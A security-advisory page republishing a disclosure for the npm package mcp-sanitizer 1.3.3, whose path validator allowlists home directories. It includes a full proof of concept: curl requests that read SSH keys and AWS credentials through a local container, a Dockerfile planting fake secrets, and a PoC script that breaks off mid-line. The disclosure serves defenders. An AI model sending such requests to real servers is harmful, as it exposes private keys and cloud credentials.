Skip to content
Noroxi
OSV ecosystem advisory

GHSA-7w82-6f9j-v9jp: mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

HighCVSS 7.5 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 30/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: mcp-sanitizer (npm) 1.4.0.

Low priority for now. Upgrade to mcp-sanitizer (npm) 1.4.0 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## File Path Sanitizer Permits Arbitrary User-Home Absolute Paths ### Summary `mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request. ### Details The vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist: ```js // src/utils/validation-utils.js:188-196 if (!isInSafeLocation && path.isAbsolute(normalizedPath)) { const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; const isAllowedAbsolute = allowedAbsolutePaths.some(allowed => normalizedPath.toLowerCase().startsWith(allowed.toLowerCase()) ); if (!isAllowedAbsolute) { throw new Error('Absolute path not in allowed safe directory'); } } ``` Because `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged. The dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked. The full data flow from a network request to the vulnerable return value is: 1. **`src/middleware/express.js:538-541`** — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`. 2. **`src/sanitizer/mcp-sanitizer.js:523-524`** — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called. 3. **`src/sanitizer/mcp-sanitizer.js:683-687`** — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. **`src/utils/validation-utils.js:188-196`** — The `/home/` prefix check passes without error. 5. **`src/utils/validation-utils.js:200-201`** — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value. A consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon. **Suggested patch:** ```diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/']; + const sensitiveHomeFragments = [ + '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', + '/.npmrc', '/.env' + ]; @@ + const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase(); + if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) { + throw new Error('Access to sensitive user configuration path not allowed'); + } @@ - const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; + const allowedAbsolutePaths = ['/tmp/', '/var/tmp/']; ``` ### PoC **Environment requirements:** Docker, Python 3, Node.js 20 **Step 1 — Build and start the reproduction container:** ```bash # From the vuln-002/ directory python3 poc.py ``` The script automatically: 1. Copies the `mcp-sanitizer` source into a Docker build context. 2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container. 3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path. 4. Sends the three test requests described below. **Step 2 — Manual HTTP requests (after the container is running on port 13572):** Control test — must be blocked: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}' # Expected: {"blocked": true} ``` Exploit test 1 — SSH private key exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}' # Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."} ``` Exploit test 2 — AWS credentials exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}' # Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."} ``` **Observed results (Phase 2 dynamic reproduction):** ``` [Test 1 — Control] POST /tool {file_path: '/etc/passwd'} => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/) [Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'} => blocked=false, EXPLOIT_SUCCESS=true sanitized_path: /home/victim/.ssh/id_rsa file_content: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002 -----END RSA PRIVATE KEY----- [Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'} => blocked=false, EXPLOIT_SUCCESS=true file_content: [default] aws_access_key_id = AKIAIOSFODNN7EXAMPLE aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY region = us-east-1 ``` **Root cause confirmed:** `validation-utils.js:190` — `allowedAbsolutePaths` includes `'/home/'` and `'/Users/'`; any absolute path starting with `/home/` passes with `blocked=false`. ### Impact This is a **Path Traversal / Improper Path Restriction (CWE-22)** vulnerability. Any application that integrates `mcp-sanitizer` to validate file paths for MCP `file_reader` or `file_writer` tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under `/home/` or `/Users/` — requiring no authentication, no special privileges, and no interaction from a legitimate user. **Sensitive targets include but are not limited to:** - SSH private keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`) - Cloud provider credentials (`~/.aws/credentials`, `~/.config/gcloud/credentials.db`) - Kubernetes config (`~/.kube/config`) - GPG keys (`~/.gnupg/`) - Application tokens (`~/.npmrc`, `~/.netrc`, `~/.env`) The confidentiality impact is **High** because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass # Builds a Node 20 container with: # - mcp-sanitizer source from the local repo # - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/ # - A consumer HTTP server that trusts the sanitizer FROM node:20-slim LABEL vuln="VULN-002" \ cwe="CWE-22" \ title="mcp-sanitizer home-directory path bypass" # Install mcp-sanitizer production dependencies WORKDIR /app/repo COPY repo/package.json repo/package-lock.json ./ RUN npm ci --omit=dev --no-audit --no-fund # Copy mcp-sanitizer source code COPY repo/src ./src # Create simulated victim home directory with sensitive files # These represent secrets a real attacker would target RUN mkdir -p /home/victim/.ssh /home/victim/.aws RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/id_rsa && \ echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/id_rsa && \ echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002' >> /home/victim/.ssh/id_rsa && \ echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS' >> /home/victim/.ssh/id_rsa && \ echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/id_rsa && \ chmod 600 /home/victim/.ssh/id_rsa RUN echo '[default]' > /home/victim/.aws/credentials && \ echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \ echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \ echo 'region = us-east-1' >> /home/victim/.aws/credentials && \ chmod 600 /home/victim/.aws/credentials # Copy the consumer server application WORKDIR /app COPY server.js ./server.js EXPOSE 3000 CMD ["node", "server.js"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-002 Dynamic Reproduction PoC mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22) Vulnerability: src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/' as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes sanitizer.sanitize(path, {type: 'file_path'}) with blocked=false, and the consumer app reads the file using the trusted sanitized path. Attack chain: 1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa 2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/id_rsa'} 3. Consumer app calls fs.readFile(sanitized_path) — trusting the sanitizer 4. SSH private key contents returned in HTTP response (exfiltrated) Usage: python3 poc.py """ import json import os import shutil import subprocess import sys import tempfile import time import urllib.request import urllib.error # Paths SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) REPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "repo")) PHASE2_RESULT = os.path.join(SCRIPT_DIR, "phase2_result.json") # Docker settings IMAGE_NAME = "vuln002-mcp-sanitizer-poc" CONTAINER_NAME = "vuln002-poc-container" HOST_PORT = 13572 # High port to avoid conflicts BASE_URL = f"http://127.0.0.1:{HOST_PORT}" TOOL_URL = f"{BASE_URL}/tool" HEALTH_URL = f"{BASE_URL}/health" def log(msg): print(f"[poc] {msg}", flush=True) def save_result(passed, verdict, reason, evidence, build_cmd, run_cmd): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": build_cmd, "run_command": run_cmd, "poc_command": "python3 poc.py", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "server.js"] } with open(PHASE2_RESULT, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensure_ascii=False) log(f"Saved phase2_result.json (verdict={verdict})") def run(cmd, timeout=300, capture=True): """Run a subprocess command and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, capture_output=capture, text=True, timeout=timeout ) return result.returncode, result.stdout, result.stderr def stop_container(): subprocess.run( ["docker", "rm", "-f", CONTAINER_NAME], capture_output=True, timeout=15 ) def http_post(url, payload, timeout=8): data = json.dumps(payload).encode("utf-8") req = urllib.request.Request( url, data=data, headers={"Content-Type": "application/json"}, method="POST" ) with urllib.request.urlopen(req, timeout=timeout) as resp: return json.loads(resp.read().decode("utf-8")) def http_get(url, timeout=5): with urllib.request.urlopen(url, timeout=timeout) as resp: return json.loads(resp.read().decode("utf-8")) def wait_for_server(max_wait=40): log(f"Polling {HEALTH_URL} until ready (max {max_wait}s)...") deadline = time.monotonic() + max_wait while time.monotonic() < deadline: try: resp = http_get(HEALTH_URL) if resp.get("ok"): log("Server is up and responding.") return True except Exception: pass time.sleep(0.6) return False def prepare_build_context(): """ Create a temporary Docker build context containing: build_ctx/ Dockerfile server.js repo/ package.json package-lock.json src/ """ build_ctx = tempfile.mkdtemp(prefix="vuln002-ctx-") log(f"Build context directory: {build_ctx}") # Copy Dockerfile and server.js from this script's directory for fname in ("Dockerfile", "server.js"): src = os.path.join(SCRIPT_DIR, fname) dst = os.path.join(build_ctx, fname) shutil.copy2(src, dst) log(f" Copied {fname}") # Copy only the necessary repo files (skip node_modules to keep context small) repo_dst = os.path.join(build_ctx, "repo") os.makedirs(repo_dst) shutil.copy2(os.path.join(REPO_DIR, "package.json"), repo_dst) shutil.copy2(os.path.join(REPO_DIR, "package-lock.json"), repo_dst) shutil.copytree( os.path.join(REPO_DIR, "src"), os.path.join(repo_dst, "src") ) log(f" Copied repo/src and package files") return build_ctx def main(): log("=" * 60) log("VULN-002 Dynamic Reproduction — mcp-sanitizer /home/* bypass") log("=" * 60) # Validate prerequisites if not os.path.isdir(REPO_DIR): log(f"ERROR: Repo not found at {REPO_DIR}") save_result(False, "FAIL", f"재현 전제조건 미충족: repo 디렉터리({REPO_DIR})가 존재하지 않음.", "", "", "") return 1 rc, _, _ = run(["docker", "info"], timeout=10) if rc != 0: log("ERROR: Docker daemon is not accessible.") save_result(False, "FAIL", "Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.", "", "", "") return 1 # Clean up any leftover container from a previous run stop_container() build_ctx = None try: # Step 1: Prepare build context build_ctx = prepare_build_context() # Step 2: Build Docker image build_cmd = f"docker build -t {IMAGE_NAME} {build_ctx}" log(f"Building Docker image: {build_cmd}") rc, stdout, stderr = run( ["docker", "build", "-t", IMAGE_NAME, build_ctx], timeout=300 ) if rc != 0: err_tail = (stdout + stderr)[-600:] log(f"Docker build FAILED (rc={rc}):\n{err_tail}") save_result(False, "FAIL", f"Docker 이미지 빌드 실패 (exit code {rc}). " f"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. " f"마지막 출력: {err_tail[-200:]}", err_tail, build_cmd, f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}") return 1 log("Docker image built successfully.") # Step 3: Run container in detached mode run_cmd = f"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}" log(f"Starting container: {run_cmd}") rc, stdout, stderr = run( ["docker", "run", "--rm", "--name", CONTAINER_NAME, "-p", f"{HOST_PORT}:3000", "-d", IMAGE_NAME], timeout=30 ) if rc != 0: log(f"docker run FAILED:\n{stderr}") save_result(False, "FAIL", f"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}", stderr[-300:], build_cmd, run_cmd) return 1 container_id = stdout.strip() log(f"Container started: {container_id[:12]}") # Step 4: Wait for HTTP server inside container if not wait_for_server(): # Collect container logs for diagnosis _, clog, _ = run(["docker", "logs", CONTAINER_NAME], timeout=10) log(f"Container logs:\n{clog}") save_result(False, "FAIL", f"서버가 {HOST_PORT} 포트에서 제한 시간 내 응답하지 않음. " f"컨테이너 로그: {clog[-300:]}", clog[-300:], build_cmd, run_cmd) stop_container() return 1 # ---------------------------------------------------------------- # Step 5: Test 1 — Control: /etc/passwd must be BLOCKED # ---------------------------------------------------------------- log("-" * 50) log("TEST 1 (control): file_path=/etc/passwd [expected: blocked=true]") try: r_ctrl = http_post(TOOL_URL, { "tool_name": "file_reader", "parameters": {"file_path": "/etc/passwd"} }) except Exception as exc: r_ctrl = {"_request_error": str(exc)} log(f" Response: {json.dumps(r_ctrl)[:300]}") ctrl_blocked = r_ctrl.get("blocked", False) # ---------------------------------------------------------------- # Step 6: Test 2 — Exploit: /home/victim/.ssh/id_rsa must PASS # ---------------------------------------------------------------- log("-" * 50) log("TEST 2 (exploit): file_path=/home/victim/.ssh/id_rsa [expected: blocked=false + file content]") try: r_ssh = http_post(TOOL_URL, { "tool_name": "file_reader", "parameters": {"file_path": "/home/victim/.ssh/id_rsa"} }) except Exception as exc: r_ssh = {"_request_error": str(exc)} log(f" Response: {json.dumps(r_ssh)[:400]}") # ---------------------------------------------------------------- # Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS # ---------------------------------------------------------------- log("-" * 50) log("TEST 3 (exploit): file_path=/home/victim/.aws/credentials [expected: blocked=false + AWS creds]") try: r_aws = http_post(TOOL_URL, { "tool_name": "file_reader", "parameters": {"file_path": "/home/victim/.aws/credentials"} }) except Exception as exc: r_aws = {"_request_error": str(exc)} log(f" Response: {json.dumps(r_aws)[:400]}") # ---------------------------------------------------------------- # Step 8: Evaluate results # ---------------------------------------------------------------- log("-" * 50) log("Evaluating results...") ssh_bypassed = ( not r_ssh.get("blocked", True) and r_ssh.get("EXPLOIT_SUCCESS") is True and "id_rsa" in r_ssh.get("sanitized_path", "") and bool(r_ssh.get("file_content")) and "RSA" in r_ssh.get("file_content", "") ) aws_bypassed = ( not r_aws.get("blocked", True) and r_aws.get("EXPLOIT_SUCCESS") is True and "credentials" in r_aws.get("sanitized_path", "") and bool(r_aws.get("file_content")) and "aws_access_key_id

Published
Oct 28, 2026
Updated
Oct 28, 2026
EPSS
—

Report tools

JSON

Action score

30

Monitor

Low priority for now.

CVSS
30 / 40 · 7.5 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-7w82-6f9j-v9jp

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools

Sign up with email · Have an account? Sign in

Free account, no card. Unfollow any time.

Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

—

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npmmcp-sanitizerbefore 1.4.01.4.0

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:mcp-sanitizer1.4.0Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

  1. Published
  2. Fix recordedsame day
  3. TodayNov 16, 2026+19 d

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
high · data can be read
Integrity
none
Availability
none
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
High
Integrity impact
None
Availability impact
None

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

osv

Root cause

A user-supplied file name is joined with the allowed directory, but the result is never checked to confirm it is still inside that directory.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
const file = path.join(ROOT, req.query.name);res.sendFile(file);

Fixed

ts
const file = path.resolve(ROOT, req.query.name);if (!file.startsWith(ROOT + path.sep)) {  return res.sendStatus(400);}res.sendFile(file);

References

All records